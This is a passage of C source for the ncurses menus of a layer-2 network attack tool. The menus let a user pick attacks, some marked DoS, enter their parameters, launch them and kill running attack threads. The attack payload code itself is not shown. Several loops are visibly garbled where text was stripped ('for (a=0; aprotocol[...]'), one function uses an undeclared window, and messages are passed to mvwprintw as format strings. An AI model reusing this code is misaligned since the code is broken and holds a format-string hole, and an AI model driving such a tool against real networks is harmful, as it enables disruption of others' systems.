ncurses_i_get_printable_store(attack_param, theattack[j].nparams); do { if (ncurses_i_attack_get_params(attack_param, theattack[j].nparams) < 0) /* Q pressed */ { attack_free_params(attack_param, theattack[j].nparams); free(attack_param); key_pressed='Q'; break; } ret = attack_filter_all_params(attack_param,theattack[j].nparams, &field); if ( ret == -1) /* Error on data...*/ { ncurses_i_error_window(1, "Bad data on field '%s'!!", attack_param[field].desc); } } while(ret==-1); if (key_pressed == 'Q') { i = 0; wclear(attack_screen); wattron(attack_screen, COLOR_PAIR(1)); box(attack_screen, 0, 0); mvwprintw(attack_screen, 0, 20, " Attack Panel "); mvwprintw(attack_screen, 14, 5, " Select attack to launch ('q' to quit) "); mvwprintw(attack_screen, 1, 2, "No DoS Description"); wattroff(attack_screen, COLOR_PAIR(1)); while(theattack[i].s != NULL) { mvwprintw(attack_screen, i+2, 2, "%d", i); mvwprintw(attack_screen, i+2, 7, "%c", (theattack[i].type == DOS) ? 'X' : ' '); mvwprintw(attack_screen, i+2, 13, "%s", theattack[i].s); i++; } key_pressed = 0; continue; } } wrefresh(attack_screen); show_panel(attack_panel); ncurses_c_refresh(); if (attack_launch(node, mode, j, attack_param, theattack[j].nparams) < 0) write_log(0, "Error launching attack %d", j); key_pressed='Q'; } break; } } hide_panel(attack_panel); ncurses_c_set_status_line(""); } /* * Set interfaces panel */ void ncurses_i_ifaces_screen(struct term_node *node, WINDOW *ifaces_window, PANEL *ifaces_panel) { u_int8_t end, change; int32_t i, key_pressed, j; u_int8_t row, col, y, x; dlist_t *p; struct interface_data *iface_data, *iface_new; void *found; end = 0; change = 1; ncurses_c_set_status_line(" Interfaces to the world "); /* Check that the window is centered */ getmaxyx(stdscr, row, col); getyx(ifaces_window, y, x); if ((row - 10 != y) || (col - 50 != x)) mvwin(ifaces_window, (row - 10)/2, (col - 50)/2); wtimeout(ifaces_window, NCURSES_KEY_TIMEOUT); /* Block for 100 millisecs...*/ while(!end && !terms->gui_th.stop) { i = 0; if (change) { wclear(ifaces_window); wattron(ifaces_window, COLOR_PAIR(4)); box(ifaces_window, 0, 0); mvwprintw(ifaces_window, 0, 15, " Global Interfaces "); mvwprintw(ifaces_window, 9, 17, " Press q to exit "); for (p = interfaces->list; p; p = dlist_next(interfaces->list, p)) { iface_data = (struct interface_data *) dlist_data(p); found = dlist_search(node->used_ints->list, node->used_ints->cmp, (void *) iface_data->ifname); if (found) wattron(ifaces_window, COLOR_PAIR(4)); else wattroff(ifaces_window, COLOR_PAIR(4)); mvwprintw(ifaces_window, i+2, 2, "%c) %s (%s)", i + 97, iface_data->ifname, found ? "ON" : "OFF"); i++; } change = 0; } do { key_pressed = wgetch(ifaces_window); } while ( (key_pressed == ERR) && !terms->gui_th.stop); if (!terms->gui_th.stop) { switch(key_pressed) { case 27: /* ESC */ case 'Q': case 'q': end = 1; break; default: j = key_pressed - 97; for (p = interfaces->list, i = 0; p && i < j; p = dlist_next(interfaces->list, p), i++); iface_data = (struct interface_data *) dlist_data(p); if (iface_data) { if ((p = dlist_search(node->used_ints->list, node->used_ints->cmp, (void *)iface_data->ifname)) != NULL) { iface_data = (struct interface_data *) dlist_data(p); interfaces_disable(iface_data->ifname); node->used_ints->list = dlist_remove(node->used_ints->list, iface_data); change = 1; } else { interfaces_enable(iface_data->ifname); iface_new = (struct interface_data *) calloc(1, sizeof(struct interface_data)); memcpy((void *)iface_new, (void *)iface_data, sizeof(struct interface_data)); node->used_ints->list = dlist_append(node->used_ints->list, (void *)iface_new); change = 1; } } break; } } } /* while...*/ wattroff(ifaces_window, COLOR_PAIR(4)); hide_panel(ifaces_panel); ncurses_c_set_status_line(""); } /* * Display information about the selected item */ int8_t ncurses_i_show_info(u_int8_t mode, WINDOW *main_window, u_int8_t pointer, struct term_node *node) { u_int8_t i, j, line, row, col, k; int32_t key_pressed; WINDOW *info_window; char **values, *ptrtlv; struct tuple_type_desc *func; struct commands_param *params; func = NULL; ncurses_c_set_status_line(" Information should be free "); getmaxyx(main_window,row,col); info_window = newpad(MAX_PAD_HEIGHT, MAX_PAD_WIDTH); keypad(info_window, TRUE); i = 0; line = 0; params = (struct commands_param *) protocols[mode].parameters; /* OK, I already know that this is a weird way to do it, but * I do not have enough free time to fix it :P */ wattron(info_window, COLOR_PAIR(4)); wattron(main_window, COLOR_PAIR(4)); mvwaddch(main_window, (row-INFO_HEIGHT)/2 - 1, (col-INFO_WIDTH)/2 - 1, ACS_ULCORNER); mvwaddch(main_window, (row-INFO_HEIGHT)/2 - 1, (col-INFO_WIDTH)/2 + INFO_WIDTH, ACS_URCORNER); mvwaddch(main_window, (row-INFO_HEIGHT)/2 + INFO_HEIGHT, (col-INFO_WIDTH)/2 + INFO_WIDTH, ACS_LRCORNER); mvwaddch(main_window, (row-INFO_HEIGHT)/2 + INFO_HEIGHT, (col-INFO_WIDTH)/2 - 1, ACS_LLCORNER); mvwaddch(main_window, (row-INFO_HEIGHT)/2 - 1, (col-INFO_WIDTH)/2 + INFO_WIDTH, ACS_URCORNER); mvwhline(main_window, (row-INFO_HEIGHT)/2 - 1, (col-INFO_WIDTH)/2, ACS_HLINE, INFO_WIDTH); mvwvline(main_window, (row-INFO_HEIGHT)/2, (col-INFO_WIDTH)/2 - 1, ACS_VLINE, INFO_HEIGHT); mvwhline(main_window, (row-INFO_HEIGHT)/2 + INFO_HEIGHT, (col-INFO_WIDTH)/2, ACS_HLINE, INFO_WIDTH); mvwvline(main_window, (row-INFO_HEIGHT)/2, (col-INFO_WIDTH)/2 + INFO_WIDTH, ACS_VLINE, INFO_HEIGHT); mvwprintw(main_window, (row-INFO_HEIGHT)/2 + INFO_HEIGHT, (col-INFO_WIDTH)/2 + 4 , " q,ENTER: exit Up/Down: scrolling "); wrefresh(main_window); if (protocols[mode].get_printable_packet) { if ((values = (*protocols[mode].get_printable_packet)(&protocols[mode].stats[pointer])) == NULL) { write_log(0, "Error in get_printable_packet (mode %d)\n", mode); return -1; } } else { write_log(0, "Warning: there is no get_printable_packet for protocol %d\n", mode); return -1; } k = 0; for (j = 0; j < protocols[mode].nparams; j++) { if ((params[j].type != FIELD_IFACE) && (params[j].type != FIELD_DEFAULT) && (params[j].type != FIELD_EXTRA)) { wattron(info_window, COLOR_PAIR(4)); mvwprintw(info_window, k, 2, "%15s", params[j].ldesc); wattroff(info_window, COLOR_PAIR(4)); mvwprintw(info_window, k, 19, "%s %s", values[k], params[j].meaning ? parser_get_meaning(values[k], params[j].meaning) : ""); k++; } } ptrtlv = values[k]; if (protocols[mode].extra_nparams > 0) { while ((ptrtlv) && (strlen((char *)ptrtlv) > 0)) { mvwprintw(info_window, k, 2, "%15s", ptrtlv); //write_log(0, "msg es %s\n", ptrtlv); ptrtlv += strlen((char *)ptrtlv) + 1; if (ptrtlv) { mvwprintw(info_window, k, 19, "%s", ptrtlv); ptrtlv += strlen((char *)ptrtlv) + 1; } k++; } } wattron(info_window, COLOR_PAIR(4)); mvwprintw(info_window, k, 2, "%15s", "Total"); wattroff(info_window, COLOR_PAIR(4)); mvwprintw(info_window, k++, 19,"%ld", protocols[mode].stats[pointer].total); wattron(info_window, COLOR_PAIR(4)); mvwprintw(info_window, k, 2, "%15s", "Interface"); wattroff(info_window, COLOR_PAIR(4)); mvwprintw(info_window, k++, 19,"%s", protocols[mode].stats[pointer].iface); wtimeout(info_window,NCURSES_KEY_TIMEOUT); do { prefresh(info_window, line, 0, (row-INFO_HEIGHT)/2, (col-INFO_WIDTH)/2, (row-INFO_HEIGHT)/2 + INFO_HEIGHT - 1, (col-INFO_WIDTH)/2 + INFO_WIDTH - 1); do { key_pressed = wgetch(info_window); } while( (key_pressed == ERR) && !terms->gui_th.stop); switch(key_pressed) { case KEY_UP: if (line > 0) line--; break; case KEY_DOWN: if (line < INFO_HEIGHT) line++; break; } } while(!terms->gui_th.stop && (key_pressed != 13) && (key_pressed!='q') && (key_pressed!='Q')); delwin(info_window); wclear(main_window); ncurses_c_set_status_line(""); return 0; } /* * Display packet * Taken from print-ascii.c (tcpdump) * http://www.tcpdump.org */ int8_t ncurses_i_view_packet(u_int8_t mode, WINDOW *main_window, u_int8_t pointer) { u_int8_t *packet; u_int16_t length, oset; int32_t j, key_pressed, line, row, col; WINDOW *view_window; register u_int i; register int s1, s2; register int nshorts; char hexstuff[HEXDUMP_SHORTS_PER_LINE*HEXDUMP_HEXSTUFF_PER_SHORT+1], *hsp; char asciistuff[ASCII_LINELENGTH+1], *asp; u_int32_t maxlength = HEXDUMP_SHORTS_PER_LINE; ncurses_c_set_status_line(" Displaying packet "); getmaxyx(main_window,row,col); view_window = newpad(MAX_PAD_HEIGHT, MAX_PAD_WIDTH); keypad(view_window, TRUE); j = 0; line = 0; oset = 0; length = 0; packet = NULL; /* OK, I already know that this is a weird way to do it, but * I do not have enough free time to fix it :P */ wattron(info_window, COLOR_PAIR(4)); wattron(main_window, COLOR_PAIR(4)); mvwaddch(main_window, (row-VIEW_HEIGHT)/2 - 1, (col-VIEW_WIDTH)/2 - 1, ACS_ULCORNER); mvwaddch(main_window, (row-VIEW_HEIGHT)/2 - 1, (col-VIEW_WIDTH)/2 + VIEW_WIDTH, ACS_URCORNER); mvwaddch(main_window, (row-VIEW_HEIGHT)/2 + VIEW_HEIGHT, (col-VIEW_WIDTH)/2 + VIEW_WIDTH, ACS_LRCORNER); mvwaddch(main_window, (row-VIEW_HEIGHT)/2 + VIEW_HEIGHT, (col-VIEW_WIDTH)/2 - 1, ACS_LLCORNER); mvwaddch(main_window, (row-VIEW_HEIGHT)/2 - 1, (col-VIEW_WIDTH)/2 + VIEW_WIDTH, ACS_URCORNER); mvwhline(main_window, (row-VIEW_HEIGHT)/2 - 1, (col-VIEW_WIDTH)/2, ACS_HLINE, VIEW_WIDTH); mvwvline(main_window, (row-VIEW_HEIGHT)/2, (col-VIEW_WIDTH)/2 - 1, ACS_VLINE, VIEW_HEIGHT); mvwhline(main_window, (row-VIEW_HEIGHT)/2 + VIEW_HEIGHT, (col-VIEW_WIDTH)/2, ACS_HLINE, VIEW_WIDTH); mvwvline(main_window, (row-VIEW_HEIGHT)/2, (col-VIEW_WIDTH)/2 + VIEW_WIDTH, ACS_VLINE, VIEW_HEIGHT); mvwprintw(main_window, (row-VIEW_HEIGHT)/2 + VIEW_HEIGHT, (col-VIEW_WIDTH)/2 + 16 , " q,ENTER: exit Up/Down: scrolling "); wrefresh(main_window); packet = protocols[mode].stats[pointer].packet; length = (protocols[mode].stats[pointer].header->len < SNAPLEN) ? protocols[mode].stats[pointer].header->len : SNAPLEN; nshorts = length / sizeof(u_int16_t); i = 0; hsp = hexstuff; asp = asciistuff; while (--nshorts >= 0) { s1 = *packet++; s2 = *packet++; (void)snprintf(hsp, sizeof(hexstuff) - (hsp - hexstuff), " %02x%02x", s1, s2); hsp += HEXDUMP_HEXSTUFF_PER_SHORT; *(asp++) = (isgraph(s1) ? s1 : '.'); *(asp++) = (isgraph(s2) ? s2 : '.'); i++; if (i >= maxlength) { *hsp = *asp = '\0'; mvwprintw(view_window, j, 1, "0x%04x: %-*s %s", oset, HEXDUMP_HEXSTUFF_PER_LINE, hexstuff, asciistuff); i = 0; hsp = hexstuff; asp = asciistuff; oset += HEXDUMP_BYTES_PER_LINE; j++; } } if (length & 1) { s1 = *packet++; (void)snprintf(hsp, sizeof(hexstuff) - (hsp - hexstuff), " %02x", s1); hsp += 3; *(asp++) = (isgraph(s1) ? s1 : '.'); ++i; } if (i > 0) { *hsp = *asp = '\0'; (void)mvwprintw(view_window, j, 1, "0x%04x: %-*s %s", oset, HEXDUMP_HEXSTUFF_PER_LINE, hexstuff, asciistuff); } wtimeout(view_window, NCURSES_KEY_TIMEOUT); do { prefresh(view_window, line, 0, (row-VIEW_HEIGHT)/2, (col-VIEW_WIDTH)/2, (row-VIEW_HEIGHT)/2 + VIEW_HEIGHT - 1, (col-VIEW_WIDTH)/2 + VIEW_WIDTH - 1); do { key_pressed = wgetch(view_window); } while( (key_pressed == ERR) && !terms->gui_th.stop); switch(key_pressed) { case KEY_UP: if (line > 0) line--; break; case KEY_DOWN: if (line < VIEW_HEIGHT) line++; break; } } while(!terms->gui_th.stop && (key_pressed != 13) && (key_pressed!='q') && (key_pressed!='Q')); delwin(view_window); wclear(main_window); ncurses_c_set_status_line(""); return 0; } /* * List attack */ void ncurses_i_list_attacks(WINDOW *list_window, struct term_node *node) { u_int8_t end, kill, j, pointer, a, i, used, indx=0, files[MAX_PROTOCOLS*MAX_THREAD_ATTACK][2]; int32_t key_pressed; struct attack *theattack = NULL; used = 0; j = 0; for (a=0; aprotocol[a].attacks[i].up) { files[j][0]=a; /* Protocol */ files[j][1]=i; /* Attack used */ j++; used++; } } } ncurses_c_set_status_line(" Listing current attacks... "); pointer = 0; kill = 0; end = 0; wclear(list_window); wattron(list_window, COLOR_PAIR(4)); box(list_window, 0, 0); mvwprintw(list_window, 0, 2, " Running attacks "); mvwprintw(list_window, 2, 2, " Protocol Type Description"); mvwprintw(list_window, 19, 2, " Press ENTER to cancel an attack or 'q' to quit"); wattroff(list_window, COLOR_PAIR(4)); keypad(list_window, TRUE); wtimeout(list_window,NCURSES_KEY_TIMEOUT); /* Block for 100 millisecs...*/ while (!end && !terms->gui_th.stop) { i = 0; while (!terms->gui_th.stop && (i < used)) { /* Kill the attack thread selected */ if (kill) { if (node->protocol[files[indx][0]].attacks[files[indx][1]].up) { attack_kill_th(node, node->protocol[files[indx][0]].attacks[files[indx][1]].attack_th.id); break; } } if (i == pointer) { wattron(list_window, COLOR_PAIR(1)); indx=i; } else wattroff(list_window, COLOR_PAIR(1)); if (node->protocol[files[i][0]].attacks[files[i][1]].up) { theattack = protocols[files[i][0]].attacks; mvwprintw(list_window, i+4, 2, "%8s %-2d %s", protocols[files[i][0]].namep, node->protocol[files[i][0]].attacks[files[i][1]].attack, theattack[node->protocol[files[i][0]].attacks[files[i][1]].attack].s); } i++; } wrefresh(list_window); if (kill) break; do { key_pressed = wgetch(list_window); } while( (key_pressed == ERR) && !terms->gui_th.stop); if (!terms->gui_th.stop) { switch(key_pressed) { case KEY_DOWN: if ( pointer < (used-1)) pointer++; break; case KEY_UP: if (pointer > 0) pointer--; break; case 'Q': case 'q': end = 1; break; case 13: /* ENTER */ kill = 1; break; } } } ncurses_c_set_status_line(""); } /* * List capture files */ void ncurses_i_list_filecaps(WINDOW *list_window, struct term_node *node) { int32_t key_pressed; u_int8_t end, kill, j, pointer, i, used, indx=0, files[MAX_PROTOCOLS+2]; used = 0; j = 0; for (i=0; iprotocol[i].pcap_file.pdumper) { files[j]=i; j++; used++; } } if (node->pcap_file.pdumper) { files[j]=PROTO_ALL; used++; } ncurses_c_set_status_line(" Listing current capture files... "); pointer = 0; kill = 0; end = 0; wclear(list_window); wattron(list_window, COLOR_PAIR(4)); box(list_window, 0, 0); mvwprintw(list_window, 0, 2, " Capture files "); mvwprintw(list_window, 2, 2, "Protocol Filename"); mvwprintw(list_window, 19, 2, " Press ENTER to cancel a capture file or 'q' to quit"); wattroff(list_window, COLOR_PAIR(4)); keypad(list_window, TRUE); wtimeout(list_window,NCURSES_KEY_TIMEOUT); while (!end && !terms->gui_th.stop) { i = 0; while (!terms->gui_th.stop && (i < used) ) { if (kill) { if (files[indx] == PROTO_ALL) interfaces_pcap_file_close(node,PROTO_ALL); else interfaces_pcap_file_close(node,files[indx]); break; } if (i == pointer) { wattron(list_window, COLOR_PAIR(1)); indx=i; } else wattroff(list_window, COLOR_PAIR(1)); if (files[i] == PROTO_ALL) { mvwprintw(list_window, i+4, 2, " %-6s %s", "ALL", node->pcap_file.name); } else { mvwprintw(list_window, i+4, 2, " %-6s %s", protocols[files[i]].namep, node->protocol[files[i]].pcap_file.name); } i++; } wrefresh(list_window); if (kill) break; do { key_pressed = wgetch(list_window); } while( (key_pressed == ERR) && !terms->gui_th.stop); if (!terms->gui_th.stop) { switch(key_pressed) { case KEY_DOWN: if ( pointer < (used-1)) pointer++; break; case KEY_UP: if (pointer > 0) pointer--; break; case 'Q': case 'q': end = 1; break; case 13: kill = 1; break; } } } ncurses_c_set_status_line(""); } int8_t ncurses_i_error_window(u_int8_t mode, char *message, ...) { int32_t row, col, i, message_s; int32_t max_y, max_x; va_list argp; WINDOW *my_window; PANEL *my_panel; char *ptr, *m_split; char *vmessage; ncurses_c_set_status_line(" You've got a message "); getmaxyx(stdscr,row,col); /* Max message size is ERRORMSG_SIZE bytes */ if ((vmessage = (char *) malloc(ERRORMSG_SIZE)) == NULL) { thread_error("Error in malloc", errno); return -1; } memset(vmessage, 0, ERRORMSG_SIZE); va_start(argp, message); if (vsnprintf(vmessage,ERRORMSG_SIZE, message, argp) < 0) { thread_error("Error in vsprintf", errno); return -1; } va_end(argp); i = 1; ptr = vmessage; if ((message_s = strlen(vmessage)) > ERRORMSG_SIZE) return -1; /* by default half columns than terminal columns */ max_y = col / 2; /* as many rows as needed to fit the message (estimated) */ max_x = (message_s / (col / 2)) + 4; if ((m_split = (char *) malloc(max_y - 3)) == NULL) { thread_error("Error in malloc", errno); return -1; } my_window = newwin(max_x, max_y, (row-max_x)/2, (col-max_y)/2); my_panel = new_panel(my_window); wattron(my_window, COLOR_PAIR(3)); box(my_window, 0, 0); switch(mode) { case 0: mvwprintw(my_window, 0, 2, " Notification window "); write_log(0, " Notification: %s\n", vmessage); break; case 1: mvwprintw(my_window, 0, 2, " Error window "); write_log(0, " Error: %s\n", vmessage); break; } mvwprintw(my_window, max_x - 1, 2, " Press any key to continue "); wattroff(my_window, COLOR_PAIR(3)); while (message_s > 0) { /* split the message */ if (message_s >= max_y - 4) { strncpy(m_split, ptr, max_y - 4); m_split[max_y-4] = '\0'; mvwprintw(my_window, i, 2, m_split); message_s -= max_y - 4; ptr += max_y - 4; /* offset */ } else { strncpy(m_split, ptr, message_s); m_split[message_s] = '\0'; mvwprintw(my_window, i, 2, m_split); message_s = 0; } i++; } free(m_split); free(vmessage); update_panels(); if (doupdate() == ERR) return -1; wtimeout(my_window, NCURSES_KEY_TIMEOUT); while ((wgetch(my_window)==ERR) && !terms->gui_th.stop); if (del_panel(my_panel) == ERR) return -1; if (delwin(my_window) == ERR) return -1; ncurses_c_set_status_line(""); return 0; } int8_t ncurses_i_getstring_window(struct term_node *term, char *status, char *data, u_int16_t max, char *message) { int32_t row, col; int32_t max_y, max_x; WINDOW *my_window; PANEL *my_panel; ncurses_c_set_status_line(status); getmaxyx(stdscr,row,col); /* TODO: lateral scroll max_y = max+3; */ max_y = 64+3; max_x = 5; my_window = newwin(max_x, max_y, (row-max_x)/2, (col-max_y)/2); my_panel = new_panel(my_window); wattron(my_window, COLOR_PAIR(3)); box(my_window, 0, 0); mvwprintw(my_window, 0, 2, message); mvwprintw(my_window, max_x - 1, 2, " Press Enter to continue "); wattroff(my_window, COLOR_PAIR(3)); wmove(my_window, max_x - 3, 1); echo(); curs_set(2); wgetnstr(my_window, data, max); noecho(); curs_set(0); update_panels(); doupdate(); del_panel(my_panel); delwin(my_window); ncurses_c_set_status_line(""); return 0; } int32_t ncurses_i_getconfirm(struct term_node *term, char *status, char *message, char *title) { int32_t row, col, key_pressed=0, max_y, max_x; u_int8_t end=0; char *bottom = " 'Y' to confirm - 'N' to abort "; WINDOW *my_window; PANEL *my_panel; ncurses_c_set_status_line(status); getmaxyx(stdscr,row,col); max_x = strlen(message)+2; if (strlen(bottom)>max_x) max_x = strlen(bottom); max_y = 5; my_window = newwin(max_y, max_x, (row-max_y)/2, (col-max_x)/2); my_panel = new_panel(my_window); noecho(); curs_set(0); wattron(my_window, COLOR_PAIR(3)); box(my_window, 0, 0); mvwprintw(my_window, 0, 2, title); mvwprintw(my_window, max_y - 1, 2, bottom); wattroff(my_window, COLOR_PAIR(3)); mvwprintw(my_window, max_y - 3, 1, message); wtimeout(my_window,NCURSES_KEY_TIMEOUT); /* Block for 100 millisecs...*/ while (!end && !terms->gui_th.stop) { do { key_pressed = wgetch(my_window); } while ( (key_pressed == ERR) && !terms->gui_th.stop); if (terms->gui_th.stop) break; switch(key_pressed) { case 'y': case 'Y': key_pressed = 'y'; end=1; break; case 'n': case 'N': key_pressed = 'n'; end = 1; break; } } update_panels(); doupdate(); del_panel(my_panel); delwin(my_window); ncurses_c_set_status_line(""); return key_pressed; } int32_t ncurses_i_popup_window(WINDOW *bwindow, const struct tuple_type_desc *tuple, u_int8_t state) { WINDOW *win; int32_t i, j, pointer, end, result, key_pressed, row, col; pointer = 0; end = 0; result = ERR; getmaxyx(stdscr, row, col); if ((win = derwin(stdscr, 5, 22, row-NCURSES_BWINDOW_SIZE, 20)) == NULL) return ERR; keypad(win, TRUE); /* scrollok(win, TRUE); idlok(win, TRUE);*/ while (!terms->gui_th.stop && !end) { j = 0; i = pointer; /* Show max 3 options */ while(tuple[i].desc != NULL && j <= 2) { if (i == pointer) wattron(win, COLOR_PAIR(5) | A_BOLD); wmove(win, j+1, 1); whline(win, ' ', 20); mvwprintw(win, j+1, 1, "%s", tuple[i].desc); if (i == pointer) wattroff(win, A_BOLD); i++; j++; } box(win, 0, 0); wtimeout(win,NCURSES_KEY_TIMEOUT); /* Block for 100 millisecs...*/ key_pressed = wgetch(win); switch(key_pressed) { case KEY_DOWN: pointer = (tuple[pointer+1].desc) ? (pointer+1) : pointer; break; case KEY_UP: pointer = (pointer > 0) ? (pointer-1) : 0; break; case 13: /* ENTER */ result = tuple[pointer].type; end = 1; break; case 27: /* ESC */ end = 1; break; } werase(win); } wrefresh(bwindow); if (delwin(win) == ERR) return ERR; return result; } int8_t ncurses_i_edit_tlv(struct term_node *node, u_int8_t mode) { u_int8_t **values = NULL; WINDOW *win; int32_t pointer, end, key_pressed, row, col, modified; u_int8_t j, jfields, *ptrtlv, k; struct commands_param *params; pointer = 1; end = 0; modified = 1; getmaxyx(stdscr, row, col); if ((win = derwin(stdscr, 23, 41, (row-23)/2, (col-41)/2)) == NULL) return ERR; params = (struct commands_param *) protocols[mode].parameters; keypad(win, TRUE); curs_set(0); while (!terms->gui_th.stop && !end) { if (modified) { if ((values = (u_int8_t **)(*protocols[mode].get_printable_store)(node)) == NULL) { write_log(0, "Error in get_printable_store (mode %d)\n", mode); return -1; } modified = 0; wclear(win); wrefresh(win); } k = 0; for (j = 0; j < protocols[mode].nparams; j++) { if ((params[j].type != FIELD_IFACE) && (params[j].type != FIELD_DEFAULT) && (params[j].type != FIELD_EXTRA)) k++; } ptrtlv = values[k]; jfields = 1; if (protocols[mode].extra_nparams > 0) { while ((ptrtlv) && (strlen((char *)ptrtlv) > 0)) { if (jfields == pointer) wattron(win, COLOR_PAIR(4)); else wattroff(win, COLOR_PAIR(4)); mvwprintw(win, jfields, 2, "%15s", ptrtlv); ptrtlv += strlen((char *)ptrtlv) + 1; if (ptrtlv) { mvwprintw(win, jfields, 19, "%s", ptrtlv); ptrtlv += strlen((char *)ptrtlv) + 1; } jfields++; } } wattron(win, COLOR_PAIR(4)); box(win, 0, 0); mvwprintw(win, 22, 7, "q: EXIT, a: ADD, d:DEL"); wtimeout(win, NCURSES_KEY_TIMEOUT); /* Block for 100 millisecs...*/ key_pressed = wgetch(win); switch(key_pressed) { case KEY_DOWN: pointer = (pointer < jfields - 1) ? (pointer+1) : pointer; break; case KEY_UP: pointer = (pointer > 1) ? (pointer-1) : 1; break; /* Add TLV */ case 'a': case 'A': ncurses_i_add_selected_tlv_type(win, node, mode); modified = 1; break; /* Delete TLV */ case 'd': case 'D': ncurses_i_del_selected_tlv(node, mode, pointer); modified = 1; break; case 'q': case 'Q': end = 1; break; case 27: /* ESC */ end = 1; break; } if (modified && values) { while(values[j]) { free(values[j]); j++; } if (values) free(values); } } werase(win); j = 0; if (values) { while(values[j]) { free(values[j]); j++; } if (values) free(values); } if (delwin(win) == ERR) return ERR; return 0; } int8_t ncurses_i_add_selected_tlv_type(WINDOW *win, struct term_node *node, u_int8_t mode) { int32_t i, pointer, end, key_pressed; struct attack_param *attack_param; struct commands_param_extra_item *newitem; u_int32_t type; u_int8_t field; int8_t ret; void *extra; pointer = 0; end = 0; type = 0; i = 0; key_pressed = 0; attack_param = NULL; newitem = NULL; extra = NULL; while (!terms->gui_th.stop && !end) { werase(win); i = 0; for (i = 0; i < protocols[mode].extra_nparams; i++) { if (i == pointer) wattron(win, COLOR_PAIR(5) | A_BOLD); wmove(win, i+1, 1); whline(win, ' ', 20); mvwprintw(win, i+1, 1, "%s", protocols[mode].extra_parameters[i].ldesc); if (i == pointer) wattroff(win, A_BOLD); } box(win, 0, 0); mvwprintw(win, 22, 7, "Press ENTER to add the selected TYPE"); wtimeout(win,NCURSES_KEY_TIMEOUT); /* Block for 100 millisecs...*/ key_pressed = wgetch(win); switch(key_pressed) { case KEY_DOWN: pointer = (pointer < (i-1)) ? (pointer+1) : pointer; break; case KEY_UP: pointer = (pointer > 0) ? (pointer-1) : 0; break; case 13: /* ENTER */ if ((newitem = (struct commands_param_extra_item *) calloc(1, sizeof(struct commands_param_extra_item))) == NULL) { write_log(0, "Error in calloc\n"); return -1; } if ((newitem->value = (u_int8_t *) calloc(1, protocols[mode].extra_parameters[pointer].size)) == NULL) { write_log(0, "Error in calloc\n"); return -1; } memcpy((void *)&newitem->id, (void *)&protocols[mode].extra_parameters[pointer].id, 4); end = 1; break; case 27: /* ESC */ end = 1; break; } } /* Set up the param... */ if (newitem) { if ((attack_param = (struct attack_param *) calloc(1, (sizeof(struct attack_param)))) == NULL) { thread_error(" ncurses_i_attack_screen attack_param calloc",errno); key_pressed='Q'; return -1; } attack_param->desc = calloc(1, strlen(protocols[mode].extra_parameters[pointer].ldesc) + 1); strncpy(attack_param->desc, protocols[mode].extra_parameters[pointer].ldesc, strlen(protocols[mode].extra_parameters[pointer].ldesc)); attack_param->size = protocols[mode].extra_parameters[pointer].size; attack_param->type = protocols[mode].extra_parameters[pointer].type; attack_param->size_print = protocols[mode].extra_parameters[pointer].size_print; if (attack_init_params(node, attack_param, 1) < 0) { free(attack_param); key_pressed='Q'; return -1; } /* Now we can ask for parameters... */ ncurses_i_get_printable_store(attack_param, 1); do { if (ncurses_i_attack_get_params(attack_param, 1) < 0) /* Q pressed */ { attack_free_params(attack_param, 1); free(attack_param); key_pressed='Q'; return -1; } ret = attack_filter_all_params(attack_param, 1, &field); if ( ret == -1) /* Error on data...*/ { ncurses_i_error_window(1, "Bad data on field '%s'!!", attack_param[field].desc); } } while(ret==-1); if (key_pressed == 'Q') { i = 0; wclear(win); wattron(win, COLOR_PAIR(1)); box(win, 0, 0); key_pressed = 0; } } strncpy((char *)newitem->value, attack_param->print, attack_param->size_print); if (protocols[mode].get_extra_field) { extra = (*protocols[mode].get_extra_field)(node, NULL, 0); extra = dlist_append(extra, (void *)newitem); (*protocols[mode].get_extra_field)(node, extra, 1); } return 0; } int8_t ncurses_i_del_selected_tlv(struct term_node *node, u_int8_t mode, u_int8_t pointer) { void *extra; dlist_t *p; struct commands_param_extra *extrap; u_int8_t i; if (protocols[mode].get_extra_field) { extra = (*protocols[mode].get_extra_field)(node, NULL, 0); for (i=0,p=extra;p; i++,p = dlist_next(extra, p)) { extrap = dlist_data(p); if (i == (pointer - 1)) { extra = dlist_remove(extra, (void *)extrap); break; } } (*protocols[mode].get_extra_field)(node, extra, 1); } return 0; } void ncurses_i_get_printable_store(struct attack_param *attack_param, u_int8_t nparams) { u_int8_t i, *aux_char; u_int16_t *aux_short; u_int32_t *aux_long; for (i=0; i< nparams; i++) { switch(attack_param[i].type) { case FIELD_BRIDGEID: aux_char = (u_int8_t *)attack_param[i].value; snprintf(attack_param[i].print, 18, "%02X%02X.%02X%02X%02X%02X%02X%02X", aux_char[0], aux_char[1], aux_char[2], aux_char[3], aux_char[4], aux_char[5], aux_char[6], aux_char[7]); break; case FIELD_MAC: aux_char = (u_int8_t *)attack_param[i].value; snprintf(attack_param[i].print, 18, "%02X:%02X:%02X:%02X:%02X:%02X", aux_char[0], aux_char[1], aux_char[2], aux_char[3], aux_char[4], aux_char[5]); break; case FIELD_HEX: case FIELD_DEC: switch(attack_param[i].size) { case 1: aux_char = (u_int8_t *)attack_param[i].value; if (attack_param[i].type == FIELD_HEX) snprintf(attack_param[i].print, attack_param[i].size_print+1, "%02X", *(aux_char)); else snprintf(attack_param[i].print, attack_param[i].size_print+1, "%02d", *(aux_char)); break; case 2: aux_short = (u_int16_t *)attack_param[i].value; if (attack_param[i].type == FIELD_HEX) snprintf(attack_param[i].print, attack_param[i].size_print+1, "%04X", *(aux_short)); else snprintf(attack_param[i].print, attack_param[i].size_print+1, "%04d", *(aux_short)); break; default: aux_long = (u_int32_t *)attack_param[i].value; if (attack_param[i].type == FIELD_HEX) snprintf(attack_param[i].print, attack_param[i].size_print+1, "%0*X", attack_param[i].size_print, *(aux_long)); else snprintf(attack_param[i].print, attack_param[i].size_print+1, "%0*d", attack_param[i].size_print, *(aux_long)); break; } break; case FIELD_IP: aux_long = (u_int32_t *)attack_param[i].value; parser_get_formated_inet_address(*aux_long, attack_param[i].print, 16); break; case FIELD_STR: memcpy(attack_param[i].print, attack_param[i].value, attack_param[i].size_print); break; } } } /* * Get parameters for attack */ int8_t ncurses_i_attack_get_params(struct attack_param *param, u_int8_t nparams) { int32_t row, col; int32_t max_y, max_x, y, x; u_int8_t i, end_edit=0, offset_x=0, offset_y, origin_x, origin_y, max_print=0; int8_t ret=0; int32_t key_pressed; char *bottom = "ESC/Q to abort - ENTER to continue"; WINDOW *my_window; PANEL *my_panel; for (i=0; i< nparams; i++) { if (strlen(param[i].desc) > offset_x) offset_x = strlen(param[i].desc); if (param[i].size_print > max_print) max_print = param[i].size_print; } offset_y = 2; getmaxyx(stdscr,row,col); if ((offset_x+max_print+3) > (strlen(bottom)+4)) max_x = offset_x + 